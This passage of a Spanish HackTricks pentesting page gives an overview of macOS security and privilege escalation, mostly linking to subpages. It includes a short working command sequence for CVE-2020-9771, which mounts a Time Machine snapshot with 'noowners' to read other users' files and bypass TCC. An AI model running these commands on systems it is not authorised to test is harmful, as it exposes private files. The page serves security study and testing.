hacktricks/macos-hardening/macos-security-and-privilege-escalation
2023-06-08 17:58:35 +00:00
..
mac-os-architecture Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-08 17:58:35 +00:00
macos-apps-inspecting-debugging-and-fuzzing Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-08 17:58:35 +00:00
macos-files-folders-and-binaries Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-08 17:58:35 +00:00
macos-mdm Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:36:55 +00:00
macos-proces-abuse f 2023-06-05 20:30:03 +02:00
macos-security-protections Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-08 17:58:35 +00:00
macos-applefs.md f 2023-06-05 20:30:03 +02:00
macos-basic-objective-c.md f 2023-06-05 20:30:03 +02:00
macos-bypassing-firewalls.md Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-08 17:58:35 +00:00
macos-dyld-hijacking-and-dyld_insert_libraries.md f 2023-06-05 20:30:03 +02:00
macos-file-extension-apps.md f 2023-06-05 20:30:03 +02:00
macos-protocols.md f 2023-06-05 20:30:03 +02:00
macos-red-teaming.md f 2023-06-05 20:30:03 +02:00
macos-users.md f 2023-06-05 20:30:03 +02:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/REA 2023-06-08 10:11:56 +00:00

Seguridad y escalada de privilegios en macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Básicos de macOS

Si no estás familiarizado con macOS, deberías empezar aprendiendo los conceptos básicos de macOS:

  • Archivos y permisos especiales de macOS:

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • Usuarios comunes de macOS

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • Arquitectura del kernel

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • Servicios y protocolos de red comunes de macOS

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MDM de macOS

En las empresas, los sistemas macOS probablemente estén altamente gestionados con un MDM. Por lo tanto, desde la perspectiva de un atacante, es interesante saber cómo funciona:

{% content-ref url="macos-mdm/" %} macos-mdm {% endcontent-ref %}

Inspección, depuración y fuzzing de aplicaciones de macOS

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

Protecciones de seguridad de macOS

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

Superficie de ataque

Permisos de archivo

Si un proceso que se ejecuta como root escribe un archivo que puede ser controlado por un usuario, el usuario podría abusar de esto para escalar privilegios.
Esto podría ocurrir en las siguientes situaciones:

  • El archivo utilizado ya fue creado por un usuario (propiedad del usuario)
  • El archivo utilizado es escribible por el usuario debido a un grupo
  • El archivo utilizado está dentro de un directorio propiedad del usuario (el usuario podría crear el archivo)
  • El archivo utilizado está dentro de un directorio propiedad de root, pero el usuario tiene acceso de escritura sobre él debido a un grupo (el usuario podría crear el archivo)

Poder crear un archivo que va a ser utilizado por root, permite a un usuario aprovechar su contenido o incluso crear enlaces simbólicos/duros para apuntarlo a otro lugar.

Para este tipo de vulnerabilidades, no olvides comprobar los instaladores .pkg vulnerables:

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

Abuso de privilegios y permisos mediante el abuso de procesos

Si un proceso puede inyectar código en otro proceso con mejores privilegios o permisos o contactarlo para realizar acciones de privilegios, podría escalar privilegios y evitar medidas defensivas como Sandbox o TCC.

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Aplicaciones de extensión de archivo

Las aplicaciones extrañas registradas por las extensiones de archivo podrían ser abusadas:

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

Aplicaciones de controlador de URL

Diferentes aplicaciones pueden registrarse para abrir protocolos específicos. Podrían ser abusadas.

TODO: Crear una página sobre esto

Escalada de privilegios de macOS

CVE-2020-9771 - Bypass de TCC de mount_apfs y escalada de privilegios

Cualquier usuario (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y acceder a TODOS los archivos de esa instantánea.
El único privilegio necesario es que la aplicación utilizada (como Terminal) tenga acceso de Acceso completo al disco (FDA) (kTCCServiceSystemPolicyAllfiles), que debe ser otorgado por un administrador.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Una explicación más detallada se puede encontrar en el informe original.

Información Sensible

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux Privesc

En primer lugar, tenga en cuenta que la mayoría de los trucos sobre la escalada de privilegios que afectan a Linux/Unix también afectarán a las máquinas MacOS. Así que vea:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

Referencias

Siga a HackenProof para aprender más sobre errores web3

🐞 Lea tutoriales sobre errores web3

🔔 Reciba notificaciones sobre nuevos programas de recompensas por errores

💬 Participe en discusiones comunitarias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥